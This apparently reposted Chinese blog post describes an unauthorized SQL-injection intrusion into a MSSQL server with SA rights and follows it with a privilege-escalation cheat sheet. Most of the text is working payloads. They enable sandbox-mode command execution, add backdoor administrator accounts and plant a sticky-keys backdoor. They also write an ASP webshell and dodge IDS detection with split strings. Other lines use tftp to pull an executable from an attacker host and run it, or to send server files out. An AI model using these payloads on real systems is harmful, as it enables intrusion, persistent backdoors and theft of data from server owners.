也想出现在这里? 联系我们

一次SA权限入侵和小议SA提权

作者 : 小编 本文共4932个字,预计阅读时间需要13分钟 发布时间: 2021-06-1 共1.48K人阅读
也想出现在这里? 联系我们

来自草哲的blog

尝试在NB里面恢复CMDSHELL、OACREAT都没有成功,所以开启SQLSERVERAGENT

;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';–

  还是没有成功,无奈之中希望寄托于沙盒模式,执行如下语句开启沙盒模式

;execmaster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',0;–

  回显成功,进一步调用oledb执行系统命令

and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\winnt\\system32\\ias\\ias.mdb','select shell("cmd /c echo 1 >c:\\1.txt")'))–

  回显500,明显出错了,沙盒模式也暂且放下 既然可以写注册表,那一定可以读注册表,那先读读终端端口看看。

  是默认的3389但是我无法连接,或许是没开终端服务,或许是防火墙屏蔽,不得而知,一定想知道我为什么要连接终端吧,下面看这段语句。

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\\windows\\explorer.exe' ,'c:\\windows\\system32\\sethc.exe';

declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\\windows\\system32\\sethc.exe' ,'c:\\windows\\system32\\dllcache\\sethc.exe';

  大家一定记得最近很流行的SHIFT后吧,以上两段语句就是利用FSO组件的读写权限替换粘拈键为桌面的启动程序EXPLORER,如果替换成功那么执行5次SHIFT后就可以直接执行EXPLORER.EXE开启桌面,但是连不上远程这个方法也就不能用了。当然以上的命令需要OACREAT的支持,我也就是抱着侥幸的心理试试看。假设OACREAT没有删,我们还可以利用以下语句执行系统命令。

;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\\WINNT\\system32\\cmd.exe /c net user jxsaqjh 1234 /add';–

;DECLARE @shell INT EXEC SP_OAcreate 'Shell.Application',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\\WINNT\\system32\\cmd.exe /c net user jxsaqjh 1234/add';–

  以上两个语句也是利用OACREAT调用wscript.shell和Shell.Application组件执行系统命令,但是在这里我们是用不了的,因为不仅OACREAT不在,就连那两个危险组件管理也写了个批处理卸了。

万般无奈下尝试lOG备分拿只SHELL,可是备分的页面却是404,很显然这个SA没有备分的权限,还能怎么做?看下面:

;exec sp_makewebtask 'd:\\zjkdj\\zjkdj\\zjkds\\bake.asp,' select ''<%execute(request("a"))%>'' ';–

  利用sp_makewebtask这个存储过程写个马进去,很幸运这个过程是能用的,成功得到SHELL,本来想传xplog70.dll上去恢复xp_cmdshell存储过程,但是执行恢复的时候发现这个过程是在的,然后在海洋里执行CMDSHELL执行系统命令,但是出现了这一句,

xpsql.cpp: 错误 2 来自 CreateProcess(第 737 行

  我晕啊,难道是CMD.EXE删了?在NB里面列目录查看SYSTEM32下的文件,果然没有cmd.exe,这下终于真象大白了,原来不能执行系统命令的原因是每个存储过程都是调用系统的cmd.exe,既然没有cmd.exe那还怎么执行系统命令?管理还是下了辛苦的哦。

  整理下思路后我又想到了沙盒模式,因为啥盒模式调用的CMD不一定是系统自带的,我们可以自己传一个上去的,想到这里在WEB目录下传了个CMD.EXE然后在海洋里执行如下语句

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\winnt\\system32\\ias\\ias.mdb','select shell("d:\\zjkdj\\zjkdj\\zjkds\\cmd.exe /c net start>D:\\zjkdj\\zjkdj\\zjkds\\1.txt")')–

  立刻到站点目录下找1.txt,但是没有发现,看来只能调用系统自带的程序了,无聊的在SYSTEM32下乱逛,突然发现了command.com这个程序,哈哈,总算看到希望了!这是什么?我来告诉你吧,它也是系统自带的执行系统命令的程序,和CMD.EXE的功能几乎没有区别,但是大小却比CMD.EXE小几十倍,既然不让调用外部程序那我就调用内部程序,马上就在海洋里修改好如下语句执行。

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\winnt\\system32\\ias\\ias.mdb','select shell("command.com /c net start>D:\\zjkdj\\zjkdj\\zjkds\\1.txt")')–

  调用command.com执行系统命令,执行完成后在站点目录下总算找到了1.txt

  哈哈,总算看到希望了,打开1.txt看看服务器开了什么服务,但是我却看到一片空白,这是什么原因?难道?还是确定一下比较好,立刻转到SYSTEM32下查看文件,令我吃惊的是居然没有看到NET.EXE,怪不得一片空白呢,系统根本没有net.exe这个程序,自然是什么也看不到,郁闷,管理员不是一般的变态啊!

  不过没有关系,windows系统中还有一个叫net1.exe的程序功能是和net.exe一样的哦,我们来调用它执行系统命令,语句如下

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\winnt\\system32\\ias\\ias.mdb','select shell("command.com /c net1 start>D:\\zjkdj\\zjkdj\\zjkds\\1.txt")')–

  执行完毕后再看1.txt

  哈哈,成功了,入侵到了这里也就没有什么继续的必要了,因为我们已经有了系统权限,想做什么都随自己愿意了,收拾收拾在管理员的桌面上写个提醒.txt告诉他漏洞所在,让他尽快修补吧!

  最后总结一下,在先前以为是系统的存储过程删掉了,但是后来随着入侵的深入才发现过程并没有删,只是每个存储过程都必须调用cmd.exe所以不能执行系统命令也是肯定的了,所以大家在入侵的时候一定要细心的分析整个过程,从中找出对自己有用的东西。

第二

一:命令简介

[获取全部数据库名]

select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’ and status>0 and name not in(’table’)

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

select top 1 数据库名.dbo.col_name(object_id(’要查询的数据表名’),字段列如:1) [ where 条件]

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

news.asp?id=2;exec master.dbo.sp_addlogin test,test;– //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;– //如果想改密码,则用这句(将test的密码改为123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;– //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell ’net user test test /add’;– //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell ’net localgroup administrators test /add’;– //将系统用户test提升为管理员

这样,你在他的数据库和系统内都留下了test管理员账号了

下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器,将69端口打开]

id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP get file.exe’;–

然后运行这个文件:

id=2; exec master.dbo.xp_cmdshell ’file.exe’;–

下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:

id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP Put file2.doc’;–

绕过IDS的检测[使用变量]

declare @a sysname set @a=’xp_’ ’cmdshell’ exec @a ’dir c:\\’
declare @a sysname set @a=’xp’ ’_cm’ ’dshell’ exec @a ’dir c:\\’

新加的:
建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件

backup database dbname to disk=’d:\\web\\db.asp’;

报错得到系统操作系统和数据库系统版本号

id=2 and 1<>(select @@VERSION);

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 一次SA权限入侵和小议SA提权

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录